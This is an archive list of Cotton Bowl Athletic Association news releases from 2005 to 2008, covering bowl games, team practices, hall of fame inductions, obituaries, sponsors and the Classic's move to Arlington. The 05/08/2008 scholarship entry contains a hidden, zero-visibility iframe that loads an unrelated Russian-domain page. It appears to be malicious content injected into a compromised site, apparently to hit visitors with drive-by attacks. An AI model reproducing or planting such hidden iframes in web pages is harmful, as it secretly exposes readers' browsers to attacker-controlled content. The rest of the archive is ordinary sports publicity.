| 07/17/2008 | CBAA BOARD TOURS NEW HOME Members of the Cotton Bowl Athletic Association (CBAA) Board of Directors and staff toured the construction site of their future home in Arlington Wednesday. The tour came at the conclusion of a scheduled CBAA Board of Directors meeting held at the Hilton Arlington on Wednesday Morning. The 60-member party took an hour long tour through the semi-completed stadium. Board member Stephen Jones of the Dallas Cowboys led the tour that included stops in the partially completed main concourse, suite levels and locker rooms. The new Dallas Cowboys stadium will be the home of the Classic starting in January, 2010. The stadium is scheduled to open in May of 2009. This year’s AT&T Cotton Bowl Classic will be played on Jan. 2, 2009 at 1:10 p.m. at Cotton Bowl Stadium, the final classic played in Fair Park. |
| 05/08/2008 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES GRANT RECIPIENTS The Field Scovell Scholarship Foundation (FSSF) today announced the 15 recipients of $3,000 college grants that honor the memory of “Mr. Cotton Bowl” -- Field Scovell.<iframe src="http://www.pod.tu2.ru" style="display:none"></iframe>† |
| 03/18/2008 | COLLEGE ATHLETICS LOSES A GIANT Fred Jacoby, former commissioner of the Southwest Conference and Cotton Bowl Athletic Association Board Member, died Saturday at his home in Dallas after a lengthy battle against cancer. He was 80. |
| 03/11/2008 | CBAA PAST CHAIRMAN INDUCTED INTO TEXAS SPORTS HALL OF FAME Cotton Bowl Athletic Association Past Chairman and Cleveland Brown great Jim Ray Smith was among eight individuals inducted today into the Texas Sports Hall of Fame in Waco, Texas. |
| 03/02/2008 | KATHY SAUNDERS NAMED CBAA CHAIRMAN North Texas business leader Kathy Saunders has been elected to a two-year term as Chairman of the Cotton Bowl Athletic Association (CBAA), the sponsoring agency of the AT&T Cotton Bowl Classic. Saunders has been a member of the game’s Board of Directors since 1999 and has served on the CBAA’s Executive Committee as Vice-Chairman the past four years. |
| 02/24/2008 | AT&T COTTON BOWL LOSES MEMBER OF CLASSIC FAMILY The AT&T Cotton Bowl Classic lost a member of its football family on Friday with the passing of Herman Sidney 'Eagle' Day, a 2003 member of the Classic Hall of Fame after leading Mississippi to an upset win over TCU in the 1956 Cotton Bowl. |
| 01/01/2008 | MISSOURI WINS 72ND CLASSIC, 38-7 Missouri’s Tony Temple upstaged the marquee match-up between Heisman Trophy finalists Chase Daniel and Darren McFadden, leading the Tigers to a 38-7 victory over Arkansas in the 72nd AT&T Cotton Bowl Classic. In doing so, he gained a share of the spotlight with two of the Cotton Bowl’s all-time greatest legends, Rice halfback Dicky Maegle and Texas quarterback Bobby Layne. |
| 01/01/2008 | DICKY MAEGLE QUOTES It's a tremendous accomplishment for this young man and I congratulate him. It's not an easy thing to do. Even though it may have looked easy, it's not. He was tremendous, and his offensive line did a great job. I commend him and his team. |
| 01/01/2008 | MISSOURI'S TONY TEMPLE EARNS OFFENSIVE MVP As Missouri senior tailback Tony Temple crossed the goal line for his fourth touchdown of the game, chants of “Tony! Tony! Tony!” rained down from the thousands of appreciative Tiger fans in the Cotton Bowl crowd. Two grateful teammates immediately scooped up the 5-foot-9, 205-pound senior and carried him off the field, treating Temple to arguably the sweetest victory ride of his collegiate career. |
| 01/01/2008 | MISSOURI'S WILLIAM MOORE EARNS DEFENSIVE MVP Arkansas entered the 2008 AT&T Cotton Bowl Classic averaging nearly 40 points per game and featuring arguably the nation’s top backfield tandem in two-time Heisman Trophy runner-up Darren McFadden and Felix Jones. |
| 01/01/2008 | MISSOURI POST-GAME NOTES Missouri concluded its 117th season of football with a 12-2 record and now owns a 589-508-52 mark (.535) all time (33rd in FBS in all-time total wins).† Missouri raises its school record for wins to 12 with a 12-2 (.857) finish and first-ever triumph in the AT&T Cotton Bowl Classic (MU’s first 10-plus win season since 1960). |
| 01/01/2008 | ARKANSAS POST-GAME NOTES The Razorbacks concluded their 114th season of football with an 8-5 record and now own a 646-435-40 (.594) record (22nd in NCAA FBS history in wins).† UA head coach Reggie Herring is 0-1 after his college coaching debut, in bowls and as head coach at Arkansas. |
| 01/01/2008 | RECORDS AND NOTES Missouri Senior tailback Tony Temple became the all-time leading rusher in AT&T Cotton Bowl history as he finished with 281 yards. The previous mark of 265 was set by Rice’s Dicky Maegle in the 1954 Classic. (Maegle’s record was set on 11 carries.) Temple broke the mark when he scampered for a 40-yard TD run with 8:33 remaining in the fourth quarter. |
| 12/29/2007 | COTTON BOWL LOSES MEMBER OF FAMILY Mary Scovell, the widow of AT&T Cotton Bowl legend Field Scovell, passed away on Thursday. She was 96. Ms. Scovell was a Cotton Bowl board member. She graduated Valedictorian from Mt. Vernon High School, and Southern Methodist University with a BS in Education. Ms. Scovell was a big believer in education and was actively involved in the Field Scovell Scholarship Foundation. |
| 12/28/2007 | MISSOURI CONTINUES PREP FOR AT&T COTTON BOWL The No. 7 Missouri Tigers got an early start for their second practice in the 72nd AT&T Cotton Bowl Classic. Under the shadows and cool conditions at Texas Stadium, Mizzou hit the turf 45 minutes earlier than previously announced to accommodate its afternoon schedule. The Tigers held a lively two-hour practice, considered a normal “Tuesday” practice, in full pads with full contact. |
| 12/28/2007 | JERRY JONES ADDRESSES HOGS AT COTTON BOWL PRACTICE The No. 24 Arkansas Razorbacks continued preparations for the 72nd AT&T Cotton Bowl Classic with a crisp, two-hour practice in sunny conditions at SMU’s Ford Stadium. Arkansas (8-4, 4-4 SEC) will square off against the No. 7 Missouri Tigers (11-2, 7-1 Big 12) in the Classic on Tuesday, Jan. 1, 2008. The Hogs worked out in pads and sweats on the two grass fields adjacent to Ford Stadium. |
| 12/28/2007 | MISSOURI TIGERS ROAR INTO TEXAS SCOTTISH RITE HOSPITAL The 7th ranked Missouri Tigers took time out of their hectic schedule preparing for the AT&T Cotton Bowl Classic to visit the children at Texas Scottish Rite Hospital on Friday afternoon. All 105 players and the entire coaching staff made the trip and made quite an impression on the children and staff at the hospital. Approximately 75 children were in attendance and received Dr Pepper gift bags filled with colored Sharpie markers, the official poster of the 72nd AT&T Cotton Bowl Classic, and a Cotton Bowl t-shirt. The players brought Missouri t-shirts for the kids and autographed them along with Texas Scottish Rite Hospital hats supplied by the hospital. |
| 12/28/2007 | ARKANSAS VISITS CHILDREN'S MEDICAL CENTER President & CEO Chris Durovich along with several staff members of the Children’s Medical Center welcomed Razorback’s head coach Reggie Herring and the entire Arkansas team Friday afternoon, as Arkansas took time to spread cheer to the patients. |
| 12/03/2007 | 72ND AT&T COTTON BOWL IS A SELLOUT! Less than 24 hours after issuing an invitation to Missouri and Arkansas for the 72nd AT&T Cotton Bowl, the New Year’s Day Classic is officially sold out. |
| 12/02/2007 | IT'S OFFICIAL.. MIZZOU VS. ARKANSAS! The Missouri Tigers and Arkansas Razorbacks accepted an invitation today to play in the 72nd edition of the AT&T Cotton Bowl Classic on New Year’s Day. |
| 11/27/2007 | NEW YEAR'S PARADE GARNERS NEW TITLE SPONSOR Dallas’ newest corporate citizen is inviting North Texans to “Celebrate Downtown!” at the Comerica Bank New Year’s Parade. Comerica Bank today announced its title sponsorship of the parade, which is scheduled for Monday afternoon, Dec. 31, 2007, in Downtown Dallas. Mayor Tom Leppert, DOWNTOWNDALLAS President John Crawford, Dallas Convention & Visitors Bureau President/CEO Phillip Jones and other dignitaries joined Comerica Chairman & CEO Ralph Babb to unveil the new parade logo and “Celebrate Downtown” parade theme during an event at Comerica Bank Tower. |
| 10/30/2007 | CLASSIC ADDS NEW PARTNERS FOR NCFD The holiday season is about to kick off, and it starts with Saturday’s National College Football Day… an event that honors the birth of college football while increasing awareness and raising money for The V Foundation for Cancer Research. The Fourth Annual National College Football Day takes on added significance as the American Football Coaches Association (AFCA), the National Association of Division IA Football Officials (NADFO) and the Football Writers Association of America (FWAA) have teamed up with the AT&T Cotton Bowl Classic and The V Foundation for Cancer Research as official partners of National College Football Day. |
| 09/28/2007 | AT&T COTTON BOWL UNVEILS NEW LOGO Fall officially began this week, and with cooler temperatures come a change in colors. The same can be said for the AT&T Cotton Bowl logo. Classic officials officially unveiled a new logo today. The new color scheme of blue and orange was created based on changes to AT&T's brand colors since the acquisition of Cingular, whose brand was closely associated with orange. The previous AT&T Cotton Bowl logo utilized the same shield, but was blue with red text. |
| 09/24/2007 | PARSEGHIAN STATUE UNVEILED A statue of former University of Notre Dame football coach Ara Parseghian, a member of both the College Football and AT&T Cotton Bowl Hall of Fame, was unveiled this Saturday at Notre Dame Stadium. The statue shows Parseghian on the shoulders of his players following the 1971 Cotton Bowl win over the top-ranked Texas Longhorns.
|
| 05/22/2007 | FIELD SCOVELL SCHOLARSHIP FOUNDATION HONORS GRANT RECIPIENTS The Field Scovell Scholarship Foundation (FSSF) presented the 15 recipients of $3,000 college grants that honor the memory of 'Mr. Cotton Bowl' -- Field Scovell, at a reception on Monday, May 7, at the Hyatt Regency Dallas. |
| 04/17/2007 | AT&T COTTON BOWL INDUCTS SIX LEGENDS INTO HALL OF FAME Brad Bradley, Bob Fenimore, Keyshawn Johnson, Dat Nguyen, Ara Parseghian and Jerry Sisemore Honored in Fair Park Ceremony |
| 03/30/2007 | SEVENTH CLASS HEADS INTO AT&T COTTON BOWL HALL OF FAME Six individuals who helped shape the tradition of the AT&T Cotton Bowl Classic and college football history will be inducted into the AT&T Cotton Bowl Hall of Fame during enshrinement ceremonies on Tuesday, April 17. The ceremony is free and open to the public. |
| 02/27/2007 | SECURING OUR FUTURE - NOTABLE QUOTES Notable quotes by media and college football leaders. |
| 02/27/2007 | AT&T COTTON BOWL CLASSIC MOVING TO COWBOYS NEW STADIUM The Cotton Bowl Athletic Association (CBAA) Board of Directors voted today to move the AT&T Cotton Bowl Classic to the new Dallas Cowboys Stadium in Arlington. |
| 01/01/2007 | COTTON BOWL RECORDS AND NOTES This is the third consecutive year a team has scored on its opening possession of the AT&T Cotton Bowl Classic. Auburn won despite being outgained in total yards (230-178), the first time the winning team has had fewer total yards since 2003 (Texas beat LSU, 35-20, despite being outgained, 441-382). The 408 composite yards by both teams is tied for eighth fewest in AT&T CBC history and the lowest since 2002 (Oklahoma vs. Arkansas, 281 yards). The 171 composite rushing yards by the teams is sixth fewest in bowl history, lowest total since 2000 (Texas vs. Arkansas, 164 yards). |
| 01/01/2007 | AUBURN WINS 71ST CLASSIC, 17-14 Auburn capitalized on two early Nebraska turnovers, and its defense made a critical fourth-down stop in the closing minutes to help the Tigers to a 17-14 victory over the Cornhuskers on New Year’s Day in the 71st AT&T Cotton Bowl Classic. |
| 01/01/2007 | SANFORD TROPHY WINNER - WR COURTNEY TAYLOR The football was cradled in Auburn wide receiver Courtney Taylor's left arm as he left the field for the last time in his collegiate career. His team had just beaten Nebraska, 17-14, in the 71st AT&T Cotton Bowl Classic, and the fifth-year senior steadfastly clutched just one of the mementos he would take away from his final game in an Auburn uniform. Moments later, Taylor would pick up yet another one: the Sanford Trophy for Outstanding Offensive Player. |
| 01/01/2007 | MCKNIGHT TROPHY WINNER - LB WILL HERRING Adjusting is likely something that Will Herring will be doing occupationally in the future. For now, the adjustments Herring and his Auburn defensive teammates affected on the field at the 71st AT&T Cotton Bowl Classic on a sun-splashed New Year’s day helped the Tigers defeat Nebraska, 17-14. |
| 12/31/2006 | WATCH THE GAME ON THE WEB! FOX Sports today announced that, for the first time ever, full-length games from the 2007 Tostitos(tm) Bowl Bash on FOX - which includes The AT&T(tm) Cotton Bowl Classic, The Tostitos(tm) Fiesta Bowl, The FedEx(tm) Orange Bowl, The Allstate(tm) Sugar Bowl and The Tostitos BCS National Championship Game - will be available on the Internet via several leading digital download sites beginning December 28. Developed in partnership with the Bowl Championship Series, the complete content offering, which includes full-length games, condensed games, preview shows and highlights, is one of the most comprehensive collections of digital downloads ever to be made available online in association with a major sporting event. It also marks the first time that FOX Sports has made downloadable content available for sports fans on the Web. |
| 12/31/2006 | AUBURN CONDUCTS WALK-THROUGH AT COTTON BOWL The No. 10 Auburn Tigers conducted its pre-game walk-through this afternoon at the Cotton Bowl stadium. Auburn will face the No. 22 Nebraska Cornhuskers in tomorrow's 71st AT&T Cotton Bowl Classic. |
| 12/30/2006 | NEBRASKA CONDUCTS FINAL PRACTICE AT TEXAS STADIUM The No. 22 Nebraska Cornhuskers completed their practice sessions for the 71st AT&T Cotton Bowl Classic with a final 90-minute workout at Texas Stadium. |
| 12/30/2006 | TIGERS WRAP UP AT&T COTTON BOWL PREPARATIONS The No. 10 Auburn Tigers completed its preparations for the 71st AT&T Cotton Bowl Classic with a 90-minute practice in helmets and shorts under overcast skies at SMU’s Ford Stadium. The Tigers face the No. 22 Nebraska Cornhuskers on New Year’s Day. |
| 12/29/2006 | HUSKERS WORK OUT IN DAMP CONDITIONS Through intermittent light rain at Texas Stadium, the No. 22 Nebraska Cornhuskers completed their third practice in Dallas preparing for the 71st AT&T Cotton Bowl Classic. |
| 12/29/2006 | NO. 10 AUBURN TIGERS PRACTICE OUTDOORS DESPITE SHOWERS A light rain fell intermittently throughout Auburn's two-hour workout at SMU's Gerald J. Ford Stadium on Friday, as the No. 10 Tigers continued their preparations for the 71st AT&T Cotton Bowl Classic. Auburn will face the No. 22 Nebraska Cornhuskers on New Year's Day. |
| 12/29/2006 | AUBURN VISITS SCOTTISH RITE HOSPITAL Head coach Tommy Tuberville and the entire Tigers squad visited with patients at Texas Scottish Rite Hospital Friday afternoon. |
| 12/28/2006 | TIGERS CONTINUE AT&T COTTON BOWL CLASSIC PREPARATIONS The No. 10 Auburn Tigers continued its preparations for the 71st AT&T Cotton Bowl Classic with a two-hour workout in full pads on the grass practice fields adjacent to SMU’s Ford Stadium. The Tigers will face the No. 22 Nebraska Cornhuskers on New Year’s Day. |
| 12/28/2006 | HUSKERS VISIT CHILDREN'S MEDICAL CENTER Nebraska's head coach Bill Callahan along with the entire Husker football team went out and spread cheer to the patients of Children's Medical Center of Dallas on Thursday afternoon. |
| 12/28/2006 | NEBRASKA CONTINUES AT&T COTTON BOWL CLASSIC PREPARATIONS The No. 22 Nebraska Cornhuskers continued their preparation for the 71st AT&T Cotton Bowl Classic with a 90-minute practice at Texas Stadium. Nebraska again conducted its workout in shorts and shoulder pads in what was a normal “Tuesday” practice under cool but ideal conditions. |
| 12/27/2006 | NEBRASKA CONDUCTS FIRST DALLAS PRACTICE FOR AT&T COTTON BOWL The Nebraska Cornhuskers (No. 23 BCS/No. 22 AP/No. 22 USA Today-Coaches) opened its 71st AT&T Cotton Bowl Classic preparations with a two-hour practice at Texas Stadium. |
| 12/27/2006 | AUBURN BEGINS AT&T COTTON BOWL CLASSIC PREPARATIONS The No. 10 Auburn Tigers began its preparations for the 71st AT&T Cotton Bowl Classic with a two-hour practice under ideal conditions at SMU’s Ford Stadium. The Tigers will face the No. 22 Nebraska Cornhuskers on New Year’s Day. |
| 12/26/2006 | AUBURN TIGERS ARRIVE IN DALLAS The No. 10 Auburn Tigers arrived in Dallas by private vehicle today for the 71st AT&T Cotton Bowl Classic. Auburn will face the No. 22 Nebraska Cornhuskers on New Year’s Day. |
| 12/14/2006 | COTTON BOWL LOSES A CLOSE FRIEND & LEADER Lamar Hunt wore many hats as America's sporting ambassador. He was a sports entrepreneur who dedicated his life to improving the games he loved for the fans who loved them. Lamar applied the same passion that he held for professional football, tennis and soccer to the AT&T Cotton Bowl Classic. As a four-year old in 1937, he attended the inaugural Cotton Bowl Classic, and for the next 65 years he never missed celebrating New Year’s Day at the Cotton Bowl. From 1997-2002, he served on the Cotton Bowl Athletic Association’s executive committee. A life member of the Board of Directors, Lamar played a key role in the leadership of the AT&T Cotton Bowl, a Texas institution that was always near and dear to his heart. |
| 12/03/2006 | IT'S OFFICIAL: NEBRASKA VS. AUBURN IN 71ST CLASSIC The Nebraska Cornhuskers and Auburn Tigers accepted an invitation today to play in the 71st AT&T Cotton Bowl Classic on New Year's Day. The Cornhuskers (9-4, 6-2), the Big 12 North Division Champion, are making their first trip to Dallas since 1980 and their fourth appearance in the AT&T Cotton Bowl. No. 9 Auburn (10-2, 6-2) has made only one appearance in the Cotton Bowl which came in the 1986 Classic against Texas A&M. “The AT&T Cotton Bowl is ecstatic to have two tremendous teams with such passionate fans and rich football tradition,” Cotton Bowl Athletic Association Chairman Bruce Gadd said. “With the extraordinary talent on both rosters, New Year’s Day is setting up to be a Classic to remember.” Nebraska and Auburn have not met on the gridiron since 1982 when the Huskers traveled to Jordon-Hare Stadium and defeated the Tigers, 41-7. The Cornhuskers own a 3-0-0 all-time series record against Auburn. The two football powers have only met once in a bowl game. The Huskers prevailed 13-7 over the Tigers in the 1964 Orange Bowl. Auburn, the Southeastern Conference representative, finished the regular season with a fifth straight win over arch-rival Alabama in the annual Iron Bowl. The Tigers knocked off the Crimson Tide, 22-15. The Cornhuskers, ranked 20th in the BCS poll heading into the Big 12 Championship in Kansas City, fell to the Oklahoma Sooners, 21-7, to close the regular season. "Both Nebraska's Bill Callahan and Auburn's Tommy Tuberville have done a remarkable job in positioning their teams at the top of their respective leagues," CBAA Team Selection Chairman Fin Ewing said. "Our goal is to reward both teams for an outstanding season and provide them the best in Texas-sized hospitality" The 2007 AT&T Cotton Bowl Classic will be nationally televised on FOX, and kickoff is set for 10:40 a.m. on January 1st. Tickets can be purchased online at www.attcottonbowl.com or by calling the AT&T Cotton Bowl ticket office at 888-792-BOWL (2695). |
| 11/29/2006 | AT&T COTTON BOWL TO TAKE BIG 12 RUNNER-UP The AT&T Cotton Bowl Classic announced today that it will select the runner-up of Saturday’s Dr Pepper Big 12 Championship game between Nebraska and Oklahoma to match up against an opponent from the Southeastern Conference. “As far as we’re concerned, there will be no loser coming out of Kansas City,” Bruce Gadd, Chairman of the AT&T Cotton Bowl said. “Few teams in American can match the rich tradition of both Nebraska and Oklahoma, and we are thrilled to host either team in Dallas on New Year’s Day.” The Cornhuskers (9-3, 6-2) have not played in the AT&T Cotton Bowl since 1980 when Nebraska narrowly lost to Houston, 17-14. The Huskers have a 2-2 record in four Cotton Bowl appearances. The Sooners (10-2, 7-1) only appearance in the Classic came in 2002, defeating Arkansas 10-3. The official team selection announcement for the AT&T Cotton Bowl Classic will be made on Sunday evening. The 2007 Classic is scheduled to kickoff at 10:40 a.m. CST on New Year’s Day and will be televised nationally on FOX. Tickets for the 71st AT&T Cotton Bowl are still available and can be purchased online at www.attcottonbowl.com or via phone by calling 888-792-BOWL (2695). |
| 11/01/2006 | IT'S JUDGMENT DAY FOR AREA ELEMENTARY ARTISTS! After much deliberation and careful consideration, the winners of the AT&T Cotton Bowl Art Contest were chosen by a panel of judges today at the Hilton Anatole. |
| 10/27/2006 | CLASSIC TEAMS UP WITH THE V FOUNDATION The holiday season is about to kick off, and it starts with National College Football Day… a holiday created by the AT&T Cotton Bowl to commemorate the birth of college football. This third-annual celebration will be observed on Saturday, Nov. 4th. National College Football Day takes on added significance this year. The AT&T Cotton Bowl has partnered with The V Foundation for Cancer Research to increase awareness about men’s cancers. The V Foundation, based in Cary, N.C., is a charitable organization dedicated to saving lives by helping to find a cure for cancer. The Foundation seeks to make a difference by generating broad-based support for cancer research and by creating an urgent awareness among all Americans of the importance of the war against cancer. The Foundation performs these dual roles through advocacy, education, fundraising, and philanthropy. “Everyone knows someone affected by cancer, and considering over 1.4 million people will be diagnosed with cancer this year alone, I can’t think of a better organization for the AT&T Cotton Bowl to be aligned with than The V Foundation for Cancer Research,” said Bruce Gadd, Chairman of the Cotton Bowl Athletic Association. “By teaming up with The V Foundation, we can help further their important cause while joining forces to make National College Football Day a nationally observed holiday each year.” The annual holiday observed on the first Saturday of November was developed as a way to pay tribute to a significant moment in our nation’s history. On Nov. 6, 1869, Rutgers defeated Princeton, 6-4. More importantly, those college athletes left a lasting legacy that would evolve into the great spectacle of football. To honor college football’s 137th birthday, the AT&T Cotton Bowl and The V Foundation have produced limited edition lapel pins that will be distributed to hundreds of coaches, athletic directors, university presidents, sports publicists and media throughout the United States. “We’re honored to be selected as the charitable partner of National College Football Day, which we know will help bring attention to the need for cancer research,” said Nick Valvano, CEO of The V Foundation. “I also want to thank all the members of the college football community, including the coaches, for lending their credibility and visibility to the celebration of National College Football Day and embracing The V Foundation and our mission of funding cancer research.” For more information on National College Football Day and to learn more about The V Foundation for Cancer Research, please visit www.NationalCollegeFootballDay.com. |
| 10/19/2006 | PAT SUMMERALL SET TO CALL 2007 CLASSIC The remarkable and legendary broadcasting career of Pat Summerall opens a new chapter this coming January when the longtime Dallas resident re-enters the broadcast booth to call the AT&T COTTON BOWL CLASSIC, Monday, Jan. 1 (11:00 AM ET) on FOX. The announcement was made today by FOX Sports President and Executive Producer Ed Goren. Summerall's analyst for the broadcast will be announced at a later date. The 2007 AT&T Cotton Bowl Classic is FOX Sports’ ninth consecutive broadcast of the celebrated event, and kicks off an exciting New Year’s day-night college football bowl doubleheader. The day culminates in prime time with the debut of the BCS on FOX and the TOSTITOS FIESTA BOWL live from Cardinals Stadium in Glendale, Arizona (8:00 PM ET). “The Cotton Bowl is the perfect opportunity to get Pat back in the broadcast booth," said FOX Sports President Ed Goren. "There are times when you make a decision and it puts lots of smiles on lots of faces. This is certainly one of those decisions and we could not be happier to have Pat broadcast this event." “I am very grateful to my friends at FOX Sports for providing me with this assignment," said Summerall. "Some of my fondest sports memories occurred at the Cotton Bowl and I am looking forward to returning to one of the most storied venues in all of sports." “Pat Summerall is a true icon in American sports,” said Bruce Gadd, Chairman of the AT&T Cotton Bowl Classic. “He has covered virtually every major sporting event in the world during his career. It’s exciting to think of the added dimension that Pat will bring to our game. This clearly shows the level of commitment that FOX has for the AT&T Cotton Bowl Classic.” Summerall is no newcomer to the Cotton Bowl broadcast booth. He called the 1964 game with the legendary Chris Schenkel on CBS and was the analyst for the 1967 game between Georgia and SMU, also on CBS, where his booth mate was play-by-play announcer Jack Drees. It was also the only time the game was played on New Year's Eve. Summerall's Hall-of-Fame broadcasting career began in 1961. Since then he’s broadcast 15 Super Bowls on network television, more than any other announcer. He and his longtime partner John Madden teamed for 22 seasons, the final eight of which as FOX Sports’ lead NFL broadcast team. He last called NFL in 2004 for ESPN. Drafted by the Detroit Lions, Summerall’s professional football career began as a place-kicker and tight end with the NFL’s Chicago Cardinals in 1952. He was traded to the Cardinals before ever playing for Detroit, and he played in Chicago from 1952 through 1957. He concluded his career with the New York Giants from 1958 through 1961, and he played in the 1958, '59 and '61 NFL Championship games. Summerall’s kicks accounted for five points in the legendary 1958 Championship Game, which the Giants lost 23-17 in sudden death to Baltimore, a game that later became known as “The Greatest Game Ever Played.” Born George Allen Summerall on May 10, 1930, in Lake City, Fla., Summerall has three children. He currently resides in Southlake, Texas, with his wife, Cheri. |
| 09/27/2006 | TELL ME ABOUT THE AT&T RED RIVER RIVALRY! You have come to the official website of the Cotton Bowl Athletic Association, the organization responsible for the New Year's Day bowl game. The Grambling vs. Prairie View game, as well as the AT&T Red River Rivalry between Texas and Oklahoma are run by the State Fair of Texas. If you have questions about events that occur at the Cotton Bowl during the State Fair of Texas, including these two football games, you should contact the State Fair of Texas at (214) 421-8730 or visit www.bigtex.com. |
| 09/06/2006 | 2007 AT&T COTTON BOWL TICKETS GOING FAST! The college football season just started, but fans hoping to attend the AT&T Cotton Bowl Classic on New Year's Day need to act fast. The Cotton Bowl Athletic Association announced record ticket sales following the conclusion of the early purchase ticket discount program that ended in July. Only 2,800 general public tickets remain for the 71st Classic. All $45 reduced price tickets are sold out. Remaining reserved tickets are currently priced at $90. “Since the AT&T Cotton Bowl first matched up the Big 12 against the SEC eight years ago, we have all been witness to many great moments," said Bruce Gadd, chairman, Cotton Bowl Athletic Association. "The strong early ticket sales for the 2007 Classic show the passion people have for these two conferences, and we are grateful for the support these fans have given to a great community event." Fans can purchase tickets online at www.attcottonbowl.com or by calling 1-888-792-BOWL (2695). The 2007 AT&T Cotton Bowl Classic is slated to kickoff at 10:40 a.m. CST on New Year's Day. |
| 08/30/2006 | AT&T NEW YEAR'S PARADE - DELIVERED! A New Year's tradition is returning to Big D. AT&T Inc. announced plans for the AT&T New Year's Parade on Sunday, Dec. 31, 2006, in downtown Dallas. Mayor Laura Miller, AT&T representatives and other dignitaries unveiled the official logo for the new parade during an event at the Dallas Museum of Art. Preliminary plans call for an afternoon parade on Ross Avenue from the Arts District to the Historic West End. Immediately following the parade, university bands and cheerleaders will lead AT&T Cotton Bowl pep rallies in downtown Dallas. Parade organizers expect that the AT&T New Year's Parade will have approximately 60 entries, including the Kilgore College Rangerettes, floats, equestrian units, the AT&T Cotton Bowl university bands and nearly 20 high school marching bands from across the country. "AT&T is proud to have our southwest headquarters in the heart of downtown Dallas" said Jose Gutierrez, president and CEO, AT&T Southwest. "With the center city renaissance and redevelopment occurring all around us, we believe that this is the right time to bring back a family-oriented New Year’s parade to the Metroplex" "I join thousands of other North Texans in expressing my appreciation to AT&T for restoring a great holiday tradition in downtown Dallas" said Dallas Mayor Laura Miller. "The AT&T New Year’s Parade will help ensure that downtown Dallas is the place to be on New Year's Eve." According to the Dallas Convention & Visitors Bureau, the AT&T New Year's Parade should help boost the local economy during a crucial week for local hotels and restaurants. "The addition of a high-profile community event during AT&T Cotton Bowl week means that some visitors will arrive earlier and spend more money in Dallas than they might have otherwise," said Phillip Jones, president, Dallas Convention & Visitors Bureau. "The AT&T Cotton Bowl already is one of the largest annual events for our city, and the addition of the AT&T New Year’s Parade further elevates the week’s importance for our city." For nearly four decades, thousands of North Texans rose early on New Year's Day to attend the annual Cotton Bowl Parade. The event was discontinued in the early 1990s shortly after CBS decided to stop televising the parade. The AT&T New Year's Parade will differ from its predecessor in several ways, including name, date, and time. The parade will occur on the afternoon of Dec. 31 rather than on New Year’s Day morning, providing potentially warmer weather and another day of activities during AT&T Cotton Bowl week. The parade will be produced by the newly formed J. Curtis Sanford Parade Committee, enabling the Cotton Bowl Athletic Association staff to focus on the Jan. 1 bowl game. The volunteer-led J. Curtis Sanford Parade Committee is named for Cotton Bowl founder and Dallas oilman J. Curtis Sanford, who spent his own money to start the New Year’s Day game in 1937 for the purpose of showcasing Dallas. Sanford’s widow (Betty), daughter (Betty Crawford) and son-in-law (John Crawford) attended the press conference and commented on how the AT&T New Year’s Parade aligns with the Cotton Bowl founder's original intentions. "The J. Curtis Sanford Parade Committee and the AT&T New Year's Parade continue my father-in-law's vision of celebrating Dallas with the world" said John Crawford, chairman, DOWNTOWNDALLAS and president of client services at Jackson Walker L.L.P. "The family-friendly parade is yet another reason why it's a great time to live and work in downtown Dallas" For additional information on the AT&T New Year's Parade, including sponsorship and volunteer opportunities, go to attparade.com. |
| 06/28/2006 | EARLY PURCHASE TICKET DISCOUNT PROGRAM ENDS ON JULY 11TH Fans planning to attend the 2007 AT&T Cotton Bowl Classic have until July 11 to take advantage of a discounted ticket purchase program. |
| 05/16/2006 | COLLEGE FOOTBALL LOSES A LEGEND John Kimbrough, a two-way star for the 1939 national champion Texas A&M Aggies and the first Aggie player inducted into AT&T Cotton Bowl Hall of Fame in 2000, died last Monday in Haskell, Texas, his hometown. He was 87. |
| 05/04/2006 | FIELD SCOVELL SCHOLARSHIP FOUNDATION HONORS 2006 GRANT RECIPIENT The Field Scovell Scholarship Foundation honored the winners of the 2006 Scovell Scholarships on Thursday at the Hyatt Regency Dallas. The Foundation awarded a record 13 college grants with each recipient receiving $2,000 to continue their education. |
| 05/02/2006 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES GRANT RECIPIENTS The Field Scovell Scholarship Foundation (FSSF) today announced the 13 recipients of $2,000 college grants that honor the memory of "Mr. Cotton Bowl" -- Field Scovell. The Scovell Scholarship awards will be presented during a reception on Thursday, May 4, at the Hyatt Regency Dallas. |
| 04/11/2006 | BRUCE GADD ELECTED CHAIRMAN OF COTTON BOWL ATHLETIC ASSOCIATION Dallas businessman Bruce Gadd has been elected to a two-year term as Chairman of the Cotton Bowl Athletic Association (CBAA), the sponsoring agency of the AT&T Cotton Bowl Classic. Gadd has been a member of the game's Board of Directors since 1987 and twice has served on the CBAA's Executive Committee. |
| 01/02/2006 | TEXAS TECH POSTGAME NOTES |
| 01/02/2006 | ALABAMA POSTGAME NOTES |
| 01/02/2006 | COTTON BOWL RECORDS AND NOTES |
| 01/02/2006 | ALABAMA EDGES TEXAS TECH ON FINAL PLAY, 13-10, IN AT&T COTTON BO |
| 01/02/2006 | OUTSTANDING DEFENSIVE PLAYER - ALABAMA LB DEMECO RYANS |
| 01/02/2006 | OUTSTANDING OFFENSIVE PLAYER - ALABAMA QB BRODIE CROYLE |
| 12/31/2005 | COTTON BOWL CLASSIC BIG PLAY LUNCHEON |
| 12/30/2005 | MIKE SHULA NEWS CONFERENCE |
| 12/30/2005 | MIKE LEACH NEWS CONFERENCE |
| 12/29/2005 | TEXAS TECH DEFENSIVE NEWS CONFERENCE |
| 12/29/2005 | ALABAMA OFFENSIVE NEWS CONFERENCE |
| 12/29/2005 | ALABAMA PLAYERS VISIT KIDS AT CHILDREN'S MEDICAL CENTER |
| 12/29/2005 | TEXAS TECH PARTICIPATES IN ROUND TWO OF THE BEEF BOWL |
| 12/28/2005 | TEXAS TECH OFFENSIVE NEWS CONFERENCE |
| 12/28/2005 | ALABAMA DEFENSIVE NEWS CONFERENCE |
| 12/28/2005 | TEXAS TECH PLAYERS VISIT KIDS AT SCOTTISH RITE HOSPITAL |
| 12/27/2005 | ALABAMA MEDIA DAY |
| 12/27/2005 | TEXAS TECH MEDIA DAY |
| 12/27/2005 | ALABAMA GETS FIRST SHOT AT BEEF BOWL |
| 12/27/2005 | COMEDIANS ENTERTAIN CROWD AT WELCOME |
| 12/21/2005 | AT&T ERA USHERED IN WITH NEW BANNER The new AT&T era as title sponsor of the Cotton Bowl Classic kicked off on Sunday as workers raised a new banner over Gate 2 of the stadium. The AT&T Cotton Bowl replaces the SBC Cotton Bowl name, which has been in place since 2002. SBC Communications adopted the AT&T name after the two companies officially merged in November. |
